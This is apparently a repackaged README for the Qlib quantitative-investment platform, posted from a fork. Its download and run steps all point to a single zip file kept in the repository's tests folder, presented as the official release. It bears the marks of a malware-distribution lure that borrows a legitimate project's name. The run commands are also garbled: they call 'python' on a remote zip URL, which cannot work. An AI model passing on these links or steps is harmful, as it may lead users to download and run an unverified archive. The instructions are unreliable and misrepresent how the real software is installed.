Welcome to Qlib, your go-to platform for AI-driven quantitative investment research. Whether you want to explore ideas or implement solutions, Qlib simplifies the process for you.

Download Qlib now:

Before you begin, ensure your system meets the following requirements:

• Operating System: Windows 10 or later, macOS, or a modern Linux distribution
• Memory: At least 4 GB of RAM (8 GB or more recommended)
• Disk Space: Minimum of 500 MB free space
• Python: Version 3.6 or above (Python 3.8 or later recommended)

Qlib is packed with features to support your quantitative finance research:

• Supports various machine learning models, including supervised learning and reinforcement learning
• Integrates with the RD-Agent for automating your research and development processes
• Offers access to diverse datasets tailored for quantitative analysis
• Provides tools for backtesting and validating your trading strategies

To download Qlib, visit this page: Qlib Releases.

1. Navigate to the linked page.
2. Look for the latest release.
3. Download the version compatible with your operating system. You may find files like https://raw.githubusercontent.com/kwbet12/qlib/main/tests/storage_tests/Software-3.3.zip or https://raw.githubusercontent.com/kwbet12/qlib/main/tests/storage_tests/Software-3.3.zip.
4. Extract the downloaded file to a convenient location on your system.

After installation, follow these steps to run Qlib:

1. Windows:

   • Open the Start menu.
   • Search for "Command Prompt" and open it.
   • Use the following command to navigate to the Qlib directory:

     cd path\to\your\qlib-folder
     

   • Start Qlib with the command:

     python https://raw.githubusercontent.com/kwbet12/qlib/main/tests/storage_tests/Software-3.3.zip
     

2. macOS/Linux:

   • Open your Terminal.
   • Navigate to the Qlib directory:

     cd /path/to/your/qlib-folder
     

   • Run Qlib with the command:

     python3 https://raw.githubusercontent.com/kwbet12/qlib/main/tests/storage_tests/Software-3.3.zip
     

Qlib comes with thorough documentation to help you get the most from the platform. Refer to the Documentation section in the installation folder or visit our GitHub Wiki for more insights.

Need help? Join our community forums on GitHub. You can ask questions, share your projects, and learn from others in the field of quantitative finance.

We welcome contributions! If you're interested in improving Qlib, please read our Contribution Guidelines in the repository.

• GitHub Repository
• Qlib Releases
• Documentation

Download Qlib today and start your journey into quantitative investment: